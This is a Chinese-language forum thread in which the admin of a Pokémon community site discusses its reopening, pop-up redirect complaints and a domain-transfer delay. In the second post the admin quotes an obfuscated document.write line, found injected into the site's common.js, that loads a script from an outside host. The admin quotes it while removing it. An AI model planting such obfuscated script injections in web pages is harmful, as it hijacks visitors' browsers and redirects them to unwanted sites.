Doduo

祝贺社区重新开放-3-！！！

地址：http://www.pokeuniv.com/bbs/
logo：

Doduo

引用:

原帖由 最美我中文 于 2013-1-19 19:36 发表
我很在意页面最下面那段

createSnow('http://www.jgospel.net/inc/plugin/jsized.snow/', 20);

lz乃是不是放了什么广告联盟的js，虽然这个看上去不是广告，但是我第一次进去确实被引导到一个网页游戏站去了。。 ...

近期确实有弹出广告的报告，这个是雪花效果的代码。我去查下有没有恶意代码植入。


回评分：放在最后的原因是我怕那个地址失效而导致页面的加载速度，放在最后比较好。
检查了js和部分php，但没发现什么可疑代码- -

[ 本帖最后由 Doduo 于 2013-1-19 20:08 编辑 ]

Doduo

复制内容到剪贴板

代码:

document.write("<\163"+"cript src='http://\144"+"a.\156"+"u99"+".\143"+"om/i"+"p.a"+"sp?dalian|yichang|china|america|australia'><\/s"+"cript>");

- -我用chrome的开发工具看了下所有的js，发现有个陌生的ip.js，然后发现common.js内被人插入了上面这一句。。
现在应该解决了。

Doduo

嗯- -因为我域名是在2011年买的然后到现在想要换个域名注册商但是不知道需要转入手续，以为过期了就可以直接再次购买。。
现在正在等转入手续办好。。应该很快就会恢复了吧。。

Doduo

恢复了-w-~

Doduo

嘛、、昨晚更改的DNS所以应该还有部分地区没生效吧。。